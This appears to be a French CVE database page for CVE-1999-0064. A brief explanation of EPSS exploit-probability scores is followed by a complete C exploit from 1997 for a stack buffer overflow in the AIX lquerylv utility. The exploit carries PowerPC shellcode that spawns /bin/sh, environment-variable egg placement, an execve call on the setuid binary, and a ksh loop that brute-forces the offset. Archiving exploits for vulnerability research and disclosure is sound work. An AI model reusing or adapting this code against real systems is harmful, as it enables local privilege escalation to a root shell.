CVE-1999-0064 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#include <stdio.h> #include <stdlib.h> #include <string.h> char prog[100]="/usr/sbin/lquerylv"; char prog2[30]="lquerylv"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat(c,value); putenv(c); return c; } /*The program*/ main(int argc,char **argv,char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 , 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c , 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 , 0x7c0903a6 , 0x4e800420, 0x0 }; /* disassembly 7c0802a6 mfspr r0,LR 9421fbb0 stu SP,-1104(SP) --get stack 90010458 st r0,1112(SP) 3c60f019 cau r3,r0,0xf019 --CTR 60632c48 lis r3,r3,11336 --CTR 90610440 st r3,1088(SP) 3c60d002 cau r3,r0,0xd002 --TOC 60634c0c lis r3,r3,19468 --TOC 90610444 st r3,1092(SP) 3c602f62 cau r3,r0,0x2f62 --'/bin/sh\x01' 6063696e lis r3,r3,26990 90610438 st r3,1080(SP) 3c602f73 cau r3,r0,0x2f73 60636801 lis r3,r3,26625 3863ffff addi r3,r3,-1 9061043c st r3,1084(SP) --terminate with 0 30610438 lis r3,SP,1080 7c842278 xor r4,r4,r4 --argv=NULL 80410440 lwz RTOC,1088(SP) 80010444 lwz r0,1092(SP) --jump 7c0903a6 mtspr CTR,r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i,nop,mn; int max; int QUIET=0; int dobuf=0; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int ch; unsigned int reta; /* return address */ int corr=4600; char *args[4]; char *arg1="-L"; char *newenv[8]; int startwith=0; mn=100; max=280; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop<mn;nop++) buf[nop]=startwith ? reta : 0x4ffffb82; /*NOP*/ strcpy((char*)&buf[nop],(char*)&code); i=nop+strlen( (char*) &code)/4-1; if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000) || !(reta && 0xff000000)) { perror("Return address has zero");exit(5); } while(i++<max) buf[i]=reta; buf[i]=0; for(i=0;i<max-1;i++) frame[i]=reta; frame[i]=0; if(QUIET) {puts((char*)&buf);fflush(stdout);exit(0);}; /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */ newenv[0]=createvar("EGGSHEL",(char*)&buf[0]); newenv[1]=createvar("EGGSHE2",(char*)&buf[0]); newenv[2]=createvar("EGGSHE3",(char*)&buf[0]); newenv[3]=createvar("EGGSHE4",(char*)&buf[0]); newenv[4]=createvar("DISPLAY",getenv("DISPLAY")); newenv[5]=NULL; args[0]=prog2; args[1]=arg1; args[2]=(char*)&frame[0]; /* Just frame pointers */ puts("Start...");/*Here we go*/ execve(prog,args,newenv); perror("Error executing execve \n"); /* Georgi Guninski [email protected] [email protected] [email protected] http://www.geocities.com/ResearchTriangle/1711 */ } /* ----------cut here--------- ----------sometimes this helps----------------- #!/bin/ksh L=100 O=40 while [ $L -lt 12000 ] do echo $L L=`expr $L + 42` ./a.out $L done */ // milw0rm.com [1997-05-26]